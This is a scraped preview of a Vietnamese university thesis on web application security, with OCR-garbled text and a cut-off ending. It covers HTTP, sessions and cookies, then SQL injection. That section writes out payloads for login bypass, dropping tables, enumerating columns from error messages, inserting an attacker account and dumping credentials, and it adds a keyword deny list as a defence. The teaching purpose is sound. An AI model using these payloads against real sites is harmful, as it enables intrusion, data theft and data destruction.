Nghiên cứu một số vấn đề bảo mật ứng dụng web

36 12 0
Nghiên cứu một số vấn đề bảo mật ứng dụng web

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Tr-ờng đại học vinh Khoa công nghệ thông tin Trần văn quế Nghiên cứu số vấn đề bảo mật ứng dụng web đồ án tốt nghiệp đại học kỹ s- công nghệ thông tin Vinh - 2010 Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web Lời nói đầu Trong công đổi míi kh«ng ngõng cđa khoa häc kü tht c«ng nghƯ, nhiều lĩnh vực đà phát triển v-ợt bậc đặc biệt lĩnh vực công nghệ thông tin Mạng máy tính đ-ợc hình thành từ nhu cầu muốn chia sẻ tài nguyên dùng chung nguồn liệu Nếu hệ thống mạng, liệu phải đ-ợc in giấy ng-ời khác hiệu chỉnh sử dụng đ-ợc chép lên thiết bị l-u trữ khác tốn nhiều thời gian công sức Khi ng-ời làm việc môi tr-ờng độc lập mà nối máy tính với máy tính nhiều ng-ời khác, ta sử dụng máy tính khác máy in Mạng máy tính đ-ợc tổ chức sử dụng chủ yếu để chia sẻ, dùng chung tài nguyên vµ cho phÐp giao tiÕp trùc tun bao gåm gưi nhận thông điệp hay th- điện tử, giao dịch, th-ơng mại điện tử, tìm kiếm thông tin mạng Chính vai trò quan trọng mạng máy tính với nhu cầu sống ng-ời, kiến thức đà đ-ợc học tr-ờng chúng em đà chọn đồ án: Nghiên cứu số vấn đề bảo mật Web Với nội dung đ-ợc đề cập nghiên cứu mô hình mạng LAN (Local Area Network mạng nội bộ) quản trị th- ®iƯn tư néi bé víi phÇn mỊm Microsoft Exchange Server 2003 Do thời gian kiến thức có hạn nên viết hạn chế, mong đ-ợc góp ý Thầy Cô giáo em xin chân thành cảm ơn thầy giáo TS: Nguyễn Trung Hoà đà tận tình giúp đỡ để em hoàn thành đồ án Xin trân trọng cảm ơn! Sinh viên thực hiện: Trần Văn Quế Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web Nghiên cứu số vấn đề bảo mật ứng dụng web Nh- ta đà biết nay, khái niệm mạng toàn cầu - Internet không mẻ Nó đà trở nên phổ biến tới mức không cần phải giải thêm tạp chí kỹ thuật, tạp chí khác tràn ngập viết dài, ngắn Internet Khi tạp chí thông th-ờng trọng vào Internet đây, tạp chí kỹ thuật lại tập trung vào khía cạnh khác: an toàn thông tin Đó trình tiến triển hợp logic: vui thích ban đầu siêu xa lộ thông tin, bạn định nhận thấy không cho phép bạn truy nhập vào nhiều nơi giới, Internet cho phép nhiều ng-ời không mời mà tự ý ghé thăm máy tính bạn Thực vậy, Internet có kỹ thuật tut vêi cho phÐp mäi ng-êi truy nhËp, khai th¸c, chia sẻ thông tin Nh-ng nguy dẫn đến thông tin bạn bị h- hỏng phá huỷ hoàn toàn Theo số liệu CERT(Computer Emegency Response Team - Đội cấp cứu máy tính ), số l-ợng vụ công Internet đ-ợc thông báo cho tổ chức 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, 2241 vào năm 1994 Những vụ công nhằm vào tất máy tính có mặt Internet, máy tính tất công ty lớn nh- AT&T, IBM, tr-ờng đại học, quan nhà n-ớc, tổ chức quân sự, nhà băng Một số vụ công có quy mô khổng lồ (có tới 100.000 máy tính bị công) Hơn nữa, số phần tảng băng Một phần lớn vụ công không đ-ợc thông báo, nhiều lý do, kể lo bị uy tín, đơn giản ng-ời quản trị hệ thống không hay biết công nhằm vào hệ thống họ Sinh viên thực hiện: Trần Văn Quế Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web CHƯƠNG GIíI THIƯU øNG DơNG WEB Kh¸i niƯm øng dơng Web (Web Application) øng dơng Web lµ mét øng dơng chủ/khách sử dụng giao thức HTTP để t-ơng tác với ng-ời dùng hay hệ thống khác Trình khách dành cho ng-ời sử dụng th-ờng trình duyệt web nh- IE, Netcape Navigator Ng-ời dùng gửi nhận thông tin từ trình chủ thông qua việc tác động vào trang web Các ch-ơng trình trang thông tin, trao đổi mua bán, diễn đàn, gửi nhận email Tốc độ phát triển ứng dụng web nhanh, ngày Web th-ờng đ-ợc viết ngôn ngữ Java hay ngôn ngữ t-ơng tự chạy máy chủ phân tán, kết nối ®Õn nhiỊu ngn d÷ liƯu Mét øng dơng web th-êng có kiến trúc gồm: - Lớp trình bày: Lớp có nhiệm vụ hiển thị liệu cho ng-ời dùng, có thêm ứng dụng tạo bè cơc cho trang web - Líp øng dơng: lµ n¬i xư lý cđa øng dơng web, nã sÏ xư lý thông tin ng-ời dùng yêu cầu, đ-a định, gửi kết đến lớp trình bày lớp th-ờng đ-ợc cài đặt ngôn ngữ Java, NET, ASP, PHP đ-ợc triển khai trình chủ nh- IBM, Apache,IIS - Lớp liệu: th-ờng hệ quản trị sở liệu(DBMS) chịu trách nhiệm quản lý file liệu quyền sử dụng Mô hình hoá ứng dụng web Sinh viên thực hiện: Trần Văn Quế Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web Trong đó: - Trình khách( hay gọi trình dut): IE, NN - Tr×nh chđ: Apache, IIS… - HƯ quản trị sở liệu: SQL server, My SQL, DB2, Access Mô tả hoạt động ứng dụng web Đầu tiên trình duyệt gửi yêu cầu đến trình chủ web thông qua lệnh GET, POSTcủa giao thức HTTP, trình chủ lúc cho thực thi ch-ơng trình đ-ợc xây dựng từ nhiều ngôn ngữ khác trình chủ yêu cầu diễn dịch thực thi trang ASP, PHP theo yêu cầu trình khách Tuỳ theo tác vụ ch-ơng trình đ-ợc cài đặt mà xử lý, tính toán kết nối đến sở liệu, l-u thông tin trình khách gửi đếnvà từ trả cho trình khách luồng liệu có định dạng theo giao thức HTTP gồm phần: - Header mô tả thông tin gói liệu thuộc tính, trạng thái trao đổi trình duyệt Webserver - Body phần nội dung liệu mà server gửi client, file HTML, hình ảnh, đoạn phim hay trang tài liệu Các vấn đề bảo mật Web Mặc dù phủ nhận cải tiến nâng cao đáng kể nay, nhvấn đề bảo mật ứng dụng Web không ngừng tăng lên Nguyên nhân xuất phát từ đoạn mà không phù hợp Nhiều điểm yếu nghiêm trọng hay lỗ hổng cho phép hacker xâm nhập thẳng truy cập vào sở liệu tách lấy liệu nhạy cảm Nhiều sở liệu chứa thông tin giá trị (nh- chi tiết cá Sinh viên thực hiện: Trần Văn Quế Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web nhân, thông tin tài chính) khiến chúng trở thành đích nhắm th-ờng xuyên hầu hết hacker Một nghiên cứu gần 75% công mạng đ-ợc thực mức ứng dụng Web Website ứng dụng Web liên quan phải sẵn sàng 24/7 để cung cấp dịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp nhiều ng-ời liên quan khác T-ờng lửa, SLL bảo vệ ứng dụng Web tr-ớc hoạt động hacking, đơn giản truy cập vào Website phải để chế độ public để ghé thăm Website đ-ợc Tất hệ thống sở liệu đại (nh- Microsoft SQL Server, Oracle, MySQL) ®Ịu cã thĨ truy cËp qua mét sè cỉng thĨ (nh- cỉng 80, 433) Nếu muốn, ng-ời kết nối trực tiếp tới sở liệu cách v-ợt qua chế bảo mật hệ điều hành Các cổng để mở nhằm cho phép liên lạc với hoạt động giao thông mạng hợp pháp, hình thành nên lỗ hổng lín nguy hiĨm  C¸c øng dơng Web th-êng truy cập liệu cuối nh- sở liệu khách hàng, điểu khiển liệu có giá trị ®ã rÊt khã ®Ĩ cã thĨ tut ®èi an toµn Hầu hết ứng dụng Web tự tạo, có đ-ợc kiểm tra trình độ so với phần mềm loại Do ứng dụng tùy biến th-ờng dễ bị công Có thể nói ứng dụng Web cổng vào (gateway) sở liệu, ứng dụng tùy biến Chúng không đ-ợc phát triển với mức bảo mật tốt qua kiểm tra bảo mật thông th-ờng Sinh viên thực hiện: Trần Văn Quế Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web CHƯƠNG GIớI THIệU SƠ LƯợC Về CáC Kỹ THUậT TấN CÔNG ứNG DụNG WEB CáC KHáI NIệM THUậT NGữ LIÊN QUAN 1.1 Hacker Hacker thuật ngữ dùng để chuyên kẻ phá hoại hệ thống mạngHacker th-ờng chuyên gia máy tính Hacker không tạo kẽ hở cho hệ thống, nh-ng hacker lại ng-ời am hiểu hệ điều hành, hệ quản trị sở liệu, ngôn ngữ lập trìnhHọ sử dụng kiến thức việc tìm tòi khai thác lỗ hổng hƯ thèng m¹ng Mét sè hacker chØ dõng l¹i ë việc phát thông báo lỗi tìm đ-ợc cho nhà bảo mật hay ng-ời phát triển ch-ơng trình, họ đ-ợc xem nh- WhiteHat (Hacker nón trắng) Một số hacker dựa vào lỗ hổng thực việc khai thác trái phép nhằm mục đích phá hoại hay m-u lợi riêng, ng-ời bị xem nh- BlackHat( Hacker nón đen) Vì tính chất phổ biến thuật ngữ hacker, nên phần trình bày, sử dụng hacker thay cho kẻ công 1.2 HTTP Header HTTP Header phần đầu (header) thông tin mà trình khách trình chủ gửi cho Những thông tin trình khách gửi cho trình chủ đ-ợc gọi HTTP requests (yêu cầu) trình chủ gửi cho trình khách HTTP responses (trả lời) Thông th-ờng, HTTP header gồm nhiều dòng, dòng chứa tên tham số giá trị Một số tham số đ-ợc dùng header yêu cầu header trả lời, số khác đ-ợc dùng riêng loại Ví dụ: Header yêu cầu: Get /tintuc/homnay.asp HTTP/1.1 Accept: */* Accept-Language: en-us Connection: Keep-Alive Host: localhost Referer: http://localhost/lienket.asp Sinh viên thực hiện: Trần Văn Quế Đồ án tốt nghiệp Nghiên cứu số vấn ®Ị b¶o mËt øng dơng web User-Agent: Mozilla/4.0 {compatible: MSIE 5.5; Windows NT 5.0} Accept-Encoding: gzip, deflate o Dòng đầu dòng yêu cầu cho biết ph-ơng thức yêu cầu (GET POST), địa yêu cầu (/tintuc/homnay.asp) phiên HTTP (HTTP/1.1) o Tiếp theo tham số Chẳng hạn nh-: Accept-Language: Cho biết ngôn ngữ dùng trang web Host: Cho biết địa máy chủ Referer: Cho biết địa trang web tham chiÕu tíi o Header cđa HTTP request sÏ kÕt thúc dòng trống Header trả lời: HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 13 Jul 2000 05:46:53 GMT Content-Length: 2291 Content-Type: text/html Set-cookie: ASPSESSIONIDQQGGGNCC=LKLDFFKCINFLDMFHCBCBMFLJ; Path=/ Cache-control: private o Dòng đầu dòng trạng thái biết phiên HTTP đ-ợc dùng (HTTP/1.1), mà trạng thái (200) trạng thái (OK) o Tiếp theo tham số o Tiếp theo dòng trống để báo hiệu kết thúc header, phần thân HTTP response Sinh viên thực hiện: Trần Văn Quế Đồ án tốt nghiệp 1.3 Session Nghiên cứu số vấn đề bảo mật ứng dụng web HTTP giao thức h-ớng đối t-ợng tổng quát, phi trạng thái, nghĩa HTTP không l-u trữ trạng thái làm việc trình duyệt với trình chủ Sự thiếu sót gây khó khăn cho số ứng dụng Web, trình chủ đ-ợc tr-ớc trình duyệt đà có trạng thái Vì thế, để giải vấn đề này, ứng dụng Web đ-a khái niệm phiên làm việc (Session) Còn SessionID chuỗi để chứng thực phiên làm việc Một sè tr×nh chđ sÏ cung cÊp mét SessionID cho ng-êi dùng họ xem trang web trình chủ Để trì phiên làm việc sessionID th-ờng đ-ợc l-u vào: Biến URL Biến ẩn Form Cookie 1.4 Cookie Cookie phần liệu nhỏ có cấu trúc đ-ợc chia sẻ website browser ng-ời dùng Cookies đ-ợc l-u trữ d-ới file liệu nhỏ dạng text (size d-ới 4k) Chúng đ-ợc site tạo để l-u trữ/truy tìm/nhận biết thông tin ng-ời dùng đà ghé thăm site vùng họ qua site Những thông tin bao gồm tên/định danh ng-ời dùng, mật khẩu, sở thích, thói quenCookie đ-ợc browser ng-ời dùng chấp nhận l-u đĩa cứng máy mình, browser hỗ trợ cookie Sau lần truy cập vào site, thông tin ng-ời dùng đ-ợc l-u trữ cookie lần truy cập sau đến site đó, web site dùng lại thông tin cookie (nh- thông tin liên quan đến việc đăng nhập vào forum) mà ng-ời sử dụng làm lại thao tác đăng nhập hay phải nhập lại thông tin khác Vấn đề đặt có nhiều site quản lý việc dùng lại thông tin cookie không xác, kiểm tra không đầy đủ mà hóa thông tin cookie sơ hở giúp cho hacker khai thác để v-ợt qua cách cửa đăng nhập, đoạt quyền điều khiển site Cookies th-ờng có thành phần sau : + Tên: ng-ời lập trình web site chọn + Domain: tên miền từ server mà cookie đ-ợc tạo gửi Sinh viên thực hiện: Trần Văn Quế Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web + Đ-ờng dẫn: thông tin đ-ờng dẫn web site mà bạn xem + Ngày hết hạn: thời điểm mà cookie hết hiệu lực + Bảo mật: Nếu giá trị đựơc thiết lập bên cookie, thông tin đựơc mà hoá trình truyền server browser + Các giá trị khác: liệu đặc tr-ng đ-ợc web server l-u trữ để nhận dạng sau giá trị ko chứa khoảng trắng, dấu chấm, phẩy bị giới hạn khoảng 4k 1.5 Proxy Proxy cung cÊp cho ng-êi sư dơng truy xuất Internet nghi thức đặc biệt tập nghi thức thực thi dual_homed host bassion host Những ch-ơng trình client ng-ời sử dụng qua trung gian proxy server thay thÕ cho server thËt mà ng-ời sử dụng cần giao tiếp Proxy server xác định yêu cầu từ client định đáp ứng hay không đáp ứng, yêu cầu đ-ợc ®¸p øng, proxy server sÏ kÕt nèi víi server thËt thay cho client tiếp tục chuyển tiếp yêu cầu từ client đến server, nh- trả lời server đến client Vì proxy server giống cầu nối trung gian server client GIớI THIệU SƠ LƯợC CáC Kỹ THUậT TấN CÔNG Sau khái niệm sơ l-ợc kĩ thuật công ứng dụng Web đà đ-ợc phân loại dựa mức độ gây tác hại ứng dụng 2.1 Kiểm soát truy cËp web (Web access control) Th©m nhËp hƯ thèng qua cửa sau (Back door) Trong trình thiết kế ứng dụng, ng-ời phát triển ứng dụng cài cửa sau (back door) để sau thâm nhập vào hệ thống cách dễ dàng 2.2 Chiếm hữu phiên làm viêc ấn định phiên làm việc (Session Fixation) Là kĩ thuật công cho phép hacker mạo danh ng-ời dùng hợp lệ cách gửi session ID hợp lệ đến ng-ời dùng, sau ng-ời dùng đăng nhập vào hệ thống thành công, hacker dùng lại session ID trở thành ng-ời dùng hợp lệ Sinh viên thực hiện: Trần Văn Quế 10 Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web không an toàn tiền đề cho lỗi SQL injection Đặc biệt, chỗ sơ hở nằm chỗ liệu nhập vào từ ng-ời dùng để xây dựng trực tiếp câu lệnh SQL Chính điều cho phép kẻ công điều khiển câu truy vấn để thực Ví dụ 1: Giá trị nhËp vµo lµ: Username: „ or‟ ‟ =‟ Password : or = Lúc câu lệnh SQL nh- sau: SELECT * FROM Taikhoan WHERE Username='‟OR‟‟=‟' AND Password='‟OR‟'=‟‟ ; Câu truy vấn luôn vi trả tất ghi Taikhoan đoạn mà xử lí ng-ời dùng đăng nhập bất hợp pháp nh- ng-ời dùng đăng nhập hợp lệ Kết hợp với kí tự đặc biệt SQL: Kí tự ; : đánh dấu kết thúc câu truy vÊn  KÝ tù “ “ : Èn chuỗi kí tự phía sau dòng VÝ dơ 2: Username: „ ; drop table Taikhoan-Password: C©u lƯnh SQL lóc nµy nh- sau: SELECT * FROM Taikhoan WHERE Username='‟;drop table Taikhoan AND Password=; Sinh viªn thực hiện: Trần Văn Quế 22 Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web Với câu lệnh bảng Taikhoan bị xóa hoàn toàn Nếu nh- ta đà biết tên User nhập vào: ngôn ngữ truy vấn SQL việc sử dụng dấu - - tất vế sau dấu phần thích( ẩn) không đ-ợc thực hiện, d-ới tiến hành thử đăng nhập với username không nhập password Username: admin -Password: Câu lệnh SQL lúc nh- sau: SELECT * FROM Taikhoan WHERE Username='admin‟ AND Password= ; C©u lƯnh cho phép đăng nhập với quyền admin mà không đòi hỏi password 3.2.2 Tấn công dựa vào câu lệnh SELECT Ngoài kĩ thuật đơn giản trên, việc công th-ờng dựa thông báo lỗi để lấy thông tin bảng nh- tr-ờng bảng Để làm đ-ợc điều này, cần phải hiểu thông báo lỗi từ chỉnh sửa nội dung nhập cho phù hợp Câu truy vấn cần để đăng nhập: SQL="SELECT * FROM taikhoan WHERE username='"+username+"' AND password='"+password+"'" Đầu tiên, để biết tên bảng tên tr-ờng mà câu truy vấn sử dụng, sử dụng câu điều kiện having , nh- ví dụ sau: Giá trị nhập vào: Username : having 1=1-Sinh viên thực hiện: Trần Văn Quế 23 Đồ án tốt nghiệp Lỗi phát sinh: Nghiên cứu số vấn đề bảo mật ứng dụng web Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'taikhoan.Id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause Nhờ vào lỗi phát sinh mà biết đ-ợc bảng sử dụng câu truy vấn Taikhoan bảng tồn tr-ờng tên Id Sau ®ã sư dơng GROUP BY: Username :„ group by User.Id having 1=1-Lỗi phát sinh: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'taikhoan.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause Nh- vËy username lµ tr-ờng đ-ợc sử dụng bảng taikhoan tham gia vào câu truy vấn Tiếp tục sử dụng GROUP BY: Username: group by taikhoan.Id,taikhoan.username having 1=1-Lỗi phát sinh: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'taikhoan.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause Nh- password tr-ờng đ-ợc sử dụng bảng taikhoan tham gia vào câu truy vấn Sinh viên thực hiện: Trần Văn Quế 24 Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật øng dơng web TiÕp tơc dïng GROUP BY cho ®Õn biết đ-ợc tất tr-ờng bảng User tham gia vào câu truy vấn.Khi không báo lỗi cú pháp GROUP BY chuyển qua công đoạn kiểm tra kiểu tr-ờng bảng Lúc UNION đ-ợc sử dụng: Username: union select sum(Id) from Taikhoan -Lệnh sum lệnh tính tổng cho đối số bên dấu ngoặc Đối số phải kiểu số Nếu đối số không kiểu số phát sinh lỗi nh- sau: Microsoft OLE DB Provider for SQL Server (0x80040E07) The sum or average aggregate operation cannot take a char data type as an argument Nh- vËy víi th«ng điệp lỗi nh- tr-ờng Id chắn phải kiểu char Với ph-ơng pháp trên, dễ dàng xác định đ-ợc kiểu tr-ờng bảng Sau đà nhận đầy đủ thông tin hacker dễ dàng tự thêm thông tin vào bảng Taikhoan Username: ';INSERT INTO Taikhoan VALUES („ 100‟ ,'hacker','',1)-Nh- vËy lµ hacker đà có tài khoản để đăng nhập mà không cần mật chứng thực Ví dụ : Minh họa công đọa giúp hacker đọc hết thông tin bảng User: B-ớc 1: tạo Stored procedure để chép vào tất thông tin tr-ờng Username Password bảng Taikhoan thành chuỗi vào bảng foo có tr-ờng ret đoạn mà sau: Sinh viên thực hiện: Trần Văn Quế 25 Đồ án tốt nghiệp Create pro test Nghiên cứu số vấn đề bảo mật ứng dụng web As Begin Declare @ret varchar(8000) Set @ret=‟:‟ Select @ret=@ret+‟ „+Username+‟/‟+Password from Taikhoan Select @ret as ret into foo end Thực thi câu lệnh cách nhập vào form Username: „;Create proc test as begin declare @ret varchar(8000) set @ret=‟:‟ select @ret=@ret+‟ „ +Username+‟/‟+Password from Taikhoan select @ret as ret into foo  B-íc 2: Gäi Stored procedure ®ã Sau đà tạo đ-ợc stored procedure nh- trên, thực lêi gäi hµm: Username: „ ;exec test  B-íc 3: Dùng UNION dựa vào thông báo lỗi để xem bảng foo để xem nội dung bảng foo Username: ;select ret,1,1,1 from foo- B-ớc 4: Ngoài hacker cẩn thận xóa bảng foo để xóa dấu vÕt: Username: „ ; drop table foo-3.2.3 TÊn c«ng dùa vào lệnh INSERT Kĩ thuật SQL injection đ-ợc dùng nh- đà dùng với câu lệnh SELECT, phải đảm bảo số l-ợng kiểu giá trị đ-ợc nhập vào nhằm tránh lỗi cú pháp(nếu không xác định đ-ợc kiểu liệu nhập tất số) Sinh viên thực hiện: Trần Văn Quế 26 Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web Một ví dụ cụ thể thông th-ờng ứng dụng web cho phép ng-ời dùng đăng kí tài khoản để tham gia Chức thiếu sau đăng kí thành công, ng-ời dùng xem hiệu chỉnh thông tin SQL injection đ-ợc dùng hệ thống kiểm tra tính hợp lệ thông tin nhập vào Một câu lệnh INSERT có cú pháp dạng: INSERT INTO TableName VALUES(„ Value One‟ ,‟ Value Two‟ ,‟ Value Three ) Nếu đoạn mà xây dựng câu lệnh SQL cã d¹ng: Thì chắn bị lỗi SQL injection, ta nhập vào tr-ờng thø nhÊt vÝ dô nh-: „ +(SELECT TOP FieldName FROM TableName)+ Lúc câu truy vấn là: INSERT INTO TableName VALUES(„ ‟ +(SELECT TOP FieldName FROM TableName)+‟ ‟ ,‟ abc‟ ,‟ def‟ ) Khi ®ã, lóc thực lệnh xem thông tin, xem nh- ta đà yêu cầu thực thêm lệnh là: SELECT TOP FieldName FROM TableName 3.3.3 Cách phòng chống Việc công the SQL Injection dựa vào câu thông báo lỗi việc phòng chống hay không cho hiển thị thông điệp lỗi cho ng-ời dùng cách thay lỗi thông báo trang ng-ời phát triển thiết kế xảy ứng dụng Sinh viên thực hiện: Trần Văn Quế 27 Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web Ta cã thĨ thiÕt lËp mét trang ASP b¸o lỗi tùy biến nh- sau: Tạo trang báo lỗi “ error.asp” l-u vµo th- mơc chøa trang web Më tr×nh Internet Services Manager MMC Më réng ph¹m vi theo dâi Default Web Site cđa b¹n Kích chuột phải vào th- mục chứa trang web chän Properties KÝch vµo tab Custom Errors Cuén xuèng vµ kÝch chän vµo 500;100 HTTP error vµ kÝch vµo Edit Properties ThiÕt lËp Message Type thµnh URL Thay đổi URL thành /error.asp (không để dấu trích kép) Kích OK để trở lại MMC Xây dựng hàm để kiểm soát liệu đầu vào cách cẩn thận tức liệu vào đ-ợc chấp nhận loại bỏ tất liệu không liên quan mà cụ thể nên loại bỏ ký tự đặt biệt, khoảng trắng, từ khoá liên quan đến việc truy cập, sửa đổi cập nhật liệu - Thủ thuật khử nháy đơn (') - Thủ thuật từ chối liệu bất hợp lệ - Thủ thuật ràng buộc nhập liệu hợp lệ Sinh viªn thùc hiƯn: Trần Văn Quế 28 Đồ án tốt nghiệp Nghiên cứu số vấn đề bảo mật ứng dụng web Sử dụng VBScript xây dựng hàm sau: - Khử nháy ®¬n function escape(input) input = replace(input,"'",""") escape = input end function - Từ chối liệu bất hợp lệ function validate_string( input) known_bad = array("select","insert","update","delete","drop"," ","'","@ @","%%",";",">","

Ngày đăng: 14/10/2021, 23:55

Hình ảnh liên quan

Mô hình hoá của một ứng dụng web. - Nghiên cứu một số vấn đề bảo mật ứng dụng web

h.

ình hoá của một ứng dụng web Xem tại trang 4 của tài liệu.
Để trình bày tốt nội dung này, đồ án sử dụng bảng Taikhoan STT Tên tr-ờng Kiểu tr-ờng  Kích th-ớc  - Nghiên cứu một số vấn đề bảo mật ứng dụng web

tr.

ình bày tốt nội dung này, đồ án sử dụng bảng Taikhoan STT Tên tr-ờng Kiểu tr-ờng Kích th-ớc Xem tại trang 20 của tài liệu.

Trích đoạn

Tài liệu cùng người dùng

Tài liệu liên quan